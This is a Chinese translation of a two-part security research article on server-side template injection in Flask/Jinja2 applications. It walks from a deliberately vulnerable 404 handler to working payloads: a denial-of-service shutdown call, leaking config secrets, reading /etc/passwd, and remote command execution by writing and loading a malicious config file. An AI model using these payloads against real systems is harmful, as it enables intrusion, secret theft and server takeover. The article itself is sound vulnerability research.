Part1: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
Part2: https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
如果你從未聽過服務端模板注入(SSTI)攻擊,或者不太了解它是個什么東西的話,建議在繼續瀏覽本文之前可以閱讀一下James Kettle寫的這篇文章。
作為安全從業者,我們都是在幫助企業做一些基于風險的決策。因為風險是影響和屬性的產物,所以我們在不知道一個漏洞的真實影響力的情況下,無法正確地計算出相應的風險值。作為一個經常使用Flask框架的開發者,James的研究促使我去弄清楚,SSTI對基于Flask/Jinja2開發堆棧的應用程序的影響有多大。這篇文章就是我研究的結果。如果你想在深入之前了解更多的背景知識,你可以查看一下Ryan Reid寫的這篇文章,其中提供了在Flask/Jinja2應用中更多有關SSTI的信息。
為了評估在Flask/Jinja2堆棧中SSTI的影響,讓我們建立一個小小的poc程序,代碼如下。
#!python
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404
在這段代碼的背后,該開發者覺得為一個小小的404頁面創建一個單獨的模板文件可能會有些愚蠢了,所以他就在404視圖功能當中創建了一個模板字符串。該開發者想要回顯出用戶輸入的錯誤URL;但該開發者選擇使用字符串格式化,來將URL動態地加入到模板字符串中,而不是通過render_template_string
函數將URL傳遞進入模板內容當中。感覺相當合理,對不對?這是我見過最糟的了。
在測試這項功能的時候,我們看到了預期的效果。
看到這種情況大多數人馬上會想到XSS,他們的想法是正確的。在URL的尾部加上<script>alert(42)</script>
就觸發了一個XSS漏洞。
目標代碼很容易被XSS,但是在James的文章中,他指出XSS很有可是SSTI的一個跡象。現在這種情況就是一個很好的例子。如果我們更加深入一點,在URL的末尾添加上{{ 7+7 }}
,我們可以看到模板引擎計算了數學表達式,應用程序在響應的時候將其解析成14
。
我們現在已經在目標應用程序中發現了SSTI漏洞。
由于我們要得到一個可用的exp,下一步就是深入到模板環境當中,通過SSTI漏洞來尋找出可供攻擊者利用的點。我們修改一下poc程序中存在漏洞的預覽功能,如下所示。
#!python
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template,
dir=dir,
help=help,
locals=locals,
), 404
我們將dir
, help
,和locals
這些內建函數傳入到render_template_string
函數中,通過函數調用將其加入到模板環境中,從而使用它們通過漏洞進行內省,來發現模板程序上可利用的點。
讓我們稍微暫停一下,探討探討文檔中關于模板內容是怎么說的。這里有幾個模板內容中對象的最終來源。
我們最關心的是第1點和第2點,因為它們通常都是默認的設置,在我們發現存在SSTI的任何Flask/Jinja2堆棧程序中都是可用的。第3點是依賴于應用程序的,而且有很多種實現的方式。這篇stackoverflow discussion的討論當中就包含了幾個例子。雖然我們在這篇文章中不會深入地討論第3點,但這也是在代碼審計相關Flask/Jinja2堆棧應用程序源碼時必須要考慮到的。
為了使用內省繼續研究,我們的方法應當如下。
dir
內省locals
對象,在模板內容中尋找一切可用的東西。dir
和help
深入了解所有的對象通過內省request
對象我們來進行第一個有趣的探索發現。request
對象是一個Flask模板全局變量,代表“當前請求對象(flask.request
)”。當你在視圖中訪問request對象時,它包含了你預期想看到的所有信息。在request
對象中有一個叫做environ
的對象。request.environ
是一個字典,其中包含和服務器環境相關的對象。該字典當中有一個shutdown_server
的方法,相應的key值為werkzeug.server.shutdown
。所以猜猜看我們向服務端注入{{ request.environ['werkzeug.server.shutdown']() }}
會發生什么?沒錯,會產生一個及其低級別的拒絕服務。當使用gunicorn運行應用程序時就不會存在這個方法,所以漏洞就有可能受到開發環境的限制。
我們第二個有趣的發現來自于內省config
對象。config
對象是一個Flask模板全局變量,代表“當前配置對象(flask.config
)”。它是一個類似于字典的對象,其中包含了應用程序所有的配置值。在大多數情況下,會包含數據庫連接字符串,第三方服務憑據,SECRET_KEY
之類的敏感信息。注入payload{{ config.items() }}
就可以輕松查看這些配置了。
不要認為在環境變量中存儲這些配置選項就可以抵御這種信息泄露。一旦相關的配置值被框架解析后,config
對象就會把它們全部包含進去。
我們最有趣的發現也來自于內省config
對象。雖然config
對象是一個類似于字典的對象,但它也是包含若干獨特方法的子類:from_envvar
,from_object
,from_pyfile
,以及root_path
。最后讓我們深入進去看看源代碼。以下的代碼是Config
對象中的from_object
方法,flask/config.py
。
#!python
def from_object(self, obj):
"""Updates the values from the given object. An object can be of one
of the following two types:
- a string: in this case the object with that name will be imported
- an actual object reference: that object is used directly
Objects are usually either modules or classes.
Just the uppercase variables in that object are stored in the config.
Example usage::
app.config.from_object('yourapplication.default_config')
from yourapplication import default_config
app.config.from_object(default_config)
You should not use this function to load the actual configuration but
rather configuration defaults. The actual config should be loaded
with :meth:`from_pyfile` and ideally from a location not within the
package because the package might be installed system wide.
:param obj: an import name or object
"""
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
def __repr__(self):
return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
我們可以看到,如果我們將字符串對象傳遞給from_object
方法,它會將該字符串傳遞給werkzeug/utils.py
模塊的import_string
方法,該方法會從路徑中導入名字匹配的任何模塊并將其返回。
#!python
def import_string(import_name, silent=False):
"""Imports an object based on a string. This is useful if you want to
use import paths as endpoints or something similar. An import path can
be specified either in dotted notation (``xml.sax.saxutils.escape``)
or with a colon as object delimiter (``xml.sax.saxutils:escape``).
If `silent` is True the return value will be `None` if the import fails.
:param import_name: the dotted name for the object to import.
:param silent: if set to `True` import errors are ignored and
`None` is returned instead.
:return: imported object
"""
# force the import name to automatically convert to strings
# __import__ is not able to handle unicode strings in the fromlist
# if the module is a package
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
reraise(
ImportStringError,
ImportStringError(import_name, e),
sys.exc_info()[2])
對于新加載的模塊,from_object
方法會將那些變量名全是大寫的屬性添加到config
對象中。其中有趣的地方就是,添加到config
對象的屬性會保持原有的類型,這意味著通過config
對象,我們可以從模板內容中調用添加的函數。為了證明這一點,我們使用SSTI漏洞注入{{ config.items() }}
,可以看到當前的整個配置選項。
再注入{{ config.from_object('os') }}
,這下就會在config
對象中添加那些在os
庫中變量名全是大寫的屬性。再次注入{{ config.items() }}
,就可以發現新的配置選項。同樣也需要注意這些配置選項的類型。
現在通過SSTI漏洞,我們可以調用添加到config
對象中的任何可調用對象。下一步就是尋找可導入模塊的相關功能,再加以利用逃逸出模板沙盒。
以下的腳本復制了from_object
和import_string
的功能,并分析整個Python標準庫中可導入的項目。
#!python
#!/usr/bin/env python
from stdlib_list import stdlib_list
import argparse
import sys
def import_string(import_name, silent=True):
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
raise
class ScanManager(object):
def __init__(self, version='2.6'):
self.libs = stdlib_list(version)
def from_object(self, obj):
obj = import_string(obj)
config = {}
for key in dir(obj):
if key.isupper():
config[key] = getattr(obj, key)
return config
def scan_source(self):
for lib in self.libs:
config = self.from_object(lib)
if config:
conflen = len(max(config.keys(), key=len))
for key in sorted(config.keys()):
print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))
def main():
# parse arguments
ap = argparse.ArgumentParser()
ap.add_argument('version')
args = ap.parse_args()
# creat a scanner instance
sm = ScanManager(args.version)
print('\n[{module}] {config key} => {config value}\n')
sm.scan_source()
# start of main code
if __name__ == '__main__':
main()
以下是腳本使用Python 2.7運行后的簡短輸出,其中包括了大多數可導入的有趣項目。
#!shell
(venv)macbook-pro:search lanmaster$ ./search.py 2.7
[{module}] {config key} => {config value}
...
[ctypes] CFUNCTYPE => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml language=".dom.pulldom"][/xml] SAX2DOM => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml language=".etree.ElementTree"][/xml] XML => <function XML at 0x10d138de8>
[xml language=".etree.ElementTree"][/xml] XMLID => <function XMLID at 0x10d13e050>
...
在這里,我們對一些有趣的項目使用我們的方法,以期望尋找逃逸模板沙盒的辦法。
總而言之,我沒能夠從這些項目中找到沙盒逃逸的辦法。但是為了共享研究,下面給出我對其研究的一些附加信息。另外請注意,我沒有窮盡所有的可能性,還是有進一步研究的可能性。
這里我們有使用ftplib.FTP
對象的可能性,可以回連至我們控制的一臺服務器,并且從受影響的服務器上傳文件。我們也可以從一臺服務器上下載文件到受影響的服務器上,并且使用config.from_pyfile
方法執行相關內容。對ftplib的文檔和源代碼分析表明,ftplib需要打開文件句柄才能做到以上幾點,因為在模板沙盒中open
內建函數是禁止的,似乎并沒有創建文件句柄的方法。
這里我們有使用httplib.HTTP
對象的可能性,可以使用文件協議file://
來加載本地文件系統上文件的URL。不幸的是,httplib
不支持文件協議處理程序。
這里我們有使用xml.etree.ElementTree.XML
對象的可能型,可以使用用戶自定義的實體從文件系統中加載文件。然而,從這里可以知道,etree
不支持用戶自定義的實體。
雖然xml.etree.ElementTree
模塊不支持用戶自定義的實體,但是pulldom
模塊支持。然而我們還是受限于xml.dom.pulldom.SAX2DOM
類,因為其并沒有通過對象接口加載XML的方法。
雖然我們還沒有發現逃逸模板沙盒的方法,但我們已經在Flask/Jinja2開發堆棧中,確定SSTI漏洞的影響有所進展。我肯定這里有些額外的挖掘工作需要去做,我打算繼續下去,但我也鼓勵其他人進行挖掘和探索。當我在研究中發現有意思的項目的時候,我會在這里更新相關文章。
最近我寫了一片文章,是關于在使用Flask/Jinja2開發堆棧的應用程序中,探索服務端模板注入攻擊(SSTI)的真實影響。我最初的目標是找到訪問文件或操作系統的方法。雖然我之前是無法做到的,但是借由一些facebook對于第一篇文章的反饋,我已經能夠實現我的目標了。本文就是我進一步研究的結果。
對于最初的那篇文章,Nicolas G發表了如下推文。
如果你稍微使用一下這個payload,你很快就會發現它是行不通的。其中有好幾個原因,我稍后會解釋一下。然而關鍵問題就在于,這個payload使用了幾個非常重要的內省組件,而在之前的研究中我們將其忽略了:__mro__
和__subclasses__
屬性。
聲明:以下的解釋都是處于一個較高的水平。我并不希望表現得我很了解這些組件的樣子。當我在處理一個語言或框架內部結構中的模糊部分時,大多數情況下我都只是嘗試一下,看它是否會像我預期的那樣做出反應,但我并不全知道結果背后的原因是什么。我仍在學習這些屬性背后的緣由,但我還是想給你一些相關介紹。
__mro__
中的MRO代表方法解析順序,并且在這里定義為,“是一個包含類的元組,而其中的類就是在方法解析的過程中在尋找父類時需要考慮的類”。__mro__
屬性以包含類的元組來顯示對象的繼承關系,它的父類,父類的父類,一直向上到object
(如果是使用新式類的話)。它是每個對象的元類屬性,但它卻是一個隱藏屬性,因為Python在進行內省時明確地將它從dir
的輸出中移除了(見Objects/object.c的第1812行)。
__subclasses__
屬性則在這里被定義為一個方法,“每個新式類保留對其直接子類的一個弱引用列表。此方法返回那些引用還存在的子類”。
簡而言之,__mro__
讓我們到達當前Python環境中的繼承對象樹,而__subclasses__
又讓我們回來了。所以對于Flask/Jinja2的SSTI漏洞更好的利用會造成什么影響呢?讓我們以新式的對象開始,例如字符串類型,可以使用__mro__
達到繼承樹的頂端object類,然后再使用__subclasses__
,可以在Python環境中向下達到每一個新式對象。是的,這就使我們能夠訪問到當前Python環境中加載的每一個類。所以我們該如何利用這個新get的技能?
在這里需要考慮一些事情。Python環境當中將會包括:
我們著眼于更普遍的漏洞利用,所以我們想要搭建盡可能接近原生態Flask的測試環境。我們向應用程序中導入的庫和第三方模塊越多,我們攻擊向量的普遍性就越小。我們之前的poc程序很適合用來測試,所以我們就繼續使用它。
我們將要做的就是,在不修改任何源代碼的情況下尋找一個exp向量。在之前的文章中,我們向漏洞中添加了一些功能來進行內省。但在這里就不再是必須的了。
我們要做的第一件事就是,選擇一個新式對象,用它來訪問object
類。我們簡單地使用''
,一個空字符串,對象類型為str
。然后我們就可以使用__mro__
屬性來訪問對象的父類。將{{ ''.__class__.__mro__ }}
作為payload注入到SSTI漏洞點當中。
可以看到返回了我們之前討論過的元組。因為我們要回退到object類,我們就使用索引2來選擇object類。現在我們到達了object類,我們使用__subclasses__
屬性來dump應用程序中使用的所有類。將{{ ''.__class__.__mro__[2].__subclasses__() }}
注入到SSTI漏洞點當中。
正如你所見,這里輸出了很多東西。在我使用的目標程序中,有572個可用的類。這些會讓事情變得棘手,而且也是之前推特當中payload不能運行的原因。要記住,并不是每個應用程序的Python環境都是一樣的。我們的目標就是尋找有用的方法來訪問相關的文件或操作系統。在所有的應用程序當中,不可能都使用類似于用subprocess.Popen
這樣不常見的類,換一種情況就有可能無法利用了,就像之前那個推特中的payload一樣,就我發現的而言,在原生態的Flask中這種payload是無法利用的。幸運的是,可用利用原生態Flask的特性來讓我們實現類似的行為。
如果你梳理了一下之前payload的輸出,你就會發現<type 'file'>
這個類。這是一個對文件系統訪問的關鍵點。盡管open
是創建file
對象后的內建函數,但是file
類也能夠實例化文件對象,而且如果我們實例化了一個文件對象,那么我們就可用使用類似于read
的方法來讀取相關內容。為了證明這一點,找到file
類的索引,在我的環境中<type 'file'>
類的索引是40,我們就注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
。
所以現在我們就證明了,通過Flask/Jinja2中的SSTI進行任意文件讀取是有可能的,但是我們還沒有完全搞定。在這里我的目標是遠程代碼/命令執行。
在上一篇文章當中提到了好幾種config
對象的方法,可以將相關對象加載進入Flask的配置環境中。其中一個方法就是from_pyfile
方法。以下的代碼是Config
類中的from_pyfile
方法,flask/config.py
。
#!python
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to `True` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
這里有一對有意思的東西。最明顯的就是將一個文件的路徑作為參數傳遞進去,并且針對文件中的內容使用compile
函數。如果我們能向操作系統中寫文件的話那事情就變得簡單了,不是嗎?嗯,正如我們剛才討論過的,我們可以做到!我們可以使用之前提到的file
類不僅去讀文件,而且也可以向目標服務器的可寫入路徑中寫文件。然后我們再通過SSTI漏洞調用from_pyfile
方法去compile
文件并執行其中的內容。這就是一個二次進攻。首先,將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}
注入到SSTI漏洞點。然后在通過注入{{ config.from_pyfile('/tmp/owned.cfg') }}
調用編譯過程。該代碼在編譯時將會被執行。這就實現了遠程代碼執行。
讓我來更深入地研究一下。雖然執行代碼已經足夠了,但是我們為了執行每個代碼塊必須經過多個步驟,這些過程是很乏味的。讓我們充分地利用from_pyfile
方法來達到我們預期的目的,并且向config對象中添加一些有用的東西。將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
注入到SSTI漏洞點。這就會在遠程服務器上寫一個文件,當其被編譯的時候,就可以從subprocess
模塊中導入check_output
方法,并將其設置成一個名為RUNCMD
變量。如果你回憶一下之前的文章,你就會知道因為RUNCMD
為一個大寫的變量名,就可以被添加到Flaskconfig
對象中。
注入{{ config.from_pyfile('/tmp/owned.cfg') }}
來將新的項目添加到config對象中。注意以下兩幅圖一前一后的差異。
現在我們就可以調用新的配置選項來執行遠程命令了。可以將{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
注入到SSTI漏洞點來進行證明。
遠程代碼成功執行。
現在,我們可以進行Flask/Jinja2模板沙盒逃逸了,并且可以得出結論:SSTI在Flask/Jinja2環境中的影響是巨大的。